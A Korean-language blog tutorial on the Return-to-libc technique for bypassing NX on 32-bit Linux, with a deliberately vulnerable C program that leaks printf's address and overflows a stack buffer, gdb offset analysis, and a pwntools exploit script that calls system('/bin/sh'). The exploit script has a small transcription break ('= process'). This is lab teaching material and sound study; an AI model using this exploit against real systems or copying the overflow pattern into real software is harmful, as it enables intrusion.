RTL은 Retuen Address 영역에 공유 라이브러리 함수의 주소로 변경해 해당 함수를 호출하는 방식이다. 이 기법을 통해 NX 보호기법을 우회할 수 있다.

공유 라이브러리는 컴파일을 할때 링커가 실행 파일에 사용할 공유 라이브러리를 표시하면 그 라이브러리에 있는 컴파일 된 코드를 가져와 사용한다. 리눅스는 기본적으로 공유 라이브러리가 있으면 그것과 링크를 시키고, 없으면 정적 라이브러리로 링크 작업을 한다.

인텔 x86 시스템, 리눅스 커널에서는 Cdecl 호출 규약을 사용한다. 이 호출 규약은 함수의 인자값을 stack에 저장하며 오른쪽에서 왼쪽 순서로 스택에 저장한다. 함수의 반환 값은 EAX 레지스터에 저장된다. 사용된 스택 정리는 해당 함수를 호출한 함수가 정리한다.

다음 코드를 32비트로 컴파일하고 gdb로 어셈블리 코드를 보면 다음과 같다.

// gcc -m32 -o test test.c
#include <stdio.h>
#include <stdlib.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}

다음과 같이 스택에 저장된 vlun 함수의 인자값들을 확인할 수 있다. vlun함수 실행전인 main+35에 breakpoint를 걸고 esp를 확인했다.

vuln 함수의 어셈 코드를 보면 다음과 같다.

push ebp로 main 함수에서 사용하던 호출 프레임을 스택에 저장한다. 이전 함수에서 사용하던 호출 프레임은 ebp 레지스터에 저장되어 있다. mov ebp, esp로 vlun 함수에서 사용할 새 호출 프레임이 ebp레지스터에 초기화 된다. ebp 레지스터를 통해 main 함수에서 전달된 인자값을 사용할 수 있다.

DWORD PTR [ebp+*] 영역으로 각각의 인자값을 확인할 수 있다.

ret2libc 기법 사용시 인자값을 전달하려면 Return Address의 4바이트 뒤에 인자 값을 전달해야 한다.

다음과 같이 코드를 작성하고 컴파일 하여 Return to Shellcode를 확인할 수 있다.

// gcc -fno-stack-protector -m32 -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}

vuln 함수에서 buf 의 크기는 50이지만, read함수로 100크기의 문자를 받으므로 Stack Overflow 취약점이 발생할 수 있다.

gdb로 vuln 함수를 확인하면 다음과 같다.

breakpoint를 지정할 위치는 vuln의 시작점인 vuln+0, read함수를 호출하는 vuln+123, vurn함수의 ret명령이 있는 vuln+139의 세 위치를 지정할 것이다.

다음과 같이 Return Address를 확인할 수 있다.

첫번째 bp 까지 실행시킨 후 esp 레지스터가 가리키고 있는 최상위 스택의 주소는 0xffffd0cc이다. 이 0xffffd0cc 영역에 Return Address(0x56555659)가 저장되어 있다.

두번째 bp(read함수 호출)까지 실행하면 다음과 같이 buf 변수의 위치를 확인할 수 있다.

buf 변수의 위치는 0xffffd07a 이고, Return Address와 82바이트 떨어져 있다.

다음과 같이 82바이트 이상의 값을 넣으면 Return Address의 값이 변경됨을 확인할 수 있다.

system()함수는 인자 값으로 실행할 명령어의 경로를 문자열로 전달받는다. RTL기법으로 shell을 실행하려면 "/bin/sh"문자열을 전달하면 된다.

다음과 같이 libc 영역에서 system()함수를 찾을 수 있다.

또한 다음과 같이 libc start address를 찾을 수 있다. libc start address는 heap 영역 다음에 있다.

printf의 주소는 0xf7e29430 이므로 libc base 주소와 시스템 함수 주소의 오프셋은 다음과 같다.

또한 다음과 같이 "/bin/sh"문자열을 찾고, libc 시작 주소에서 "/bin/sh"까지의 오프셋도 구할 수 있다.

따라서 다음과 같이 익스 코드를 작성하면 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= process("./ret2libc")
 
p.recvuntil("Printf() address : ")
stackaddr = p.recvuntil("\n")
stackaddr = int(stackaddr, 16)
 
libcbase = stackaddr - 0x51430
sysaddr = libcbase + 0x3d2e0
binsh = libcbase + 0x17e0af
 
print hex(libcbase)
print hex(sysaddr)
print hex(binsh)
 
exploit = "A" * (86 - len(p32(sysaddr)))
exploit += p32(sysaddr)
exploit += 'BBBB'
exploit += p32(binsh)
 
p.send(exploit)
p.interactive()
cs

 

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x64_ Lazenca  (0) 2021.04.26
[System] DEP(NX bit)  (0) 2020.11.13

+ Recent posts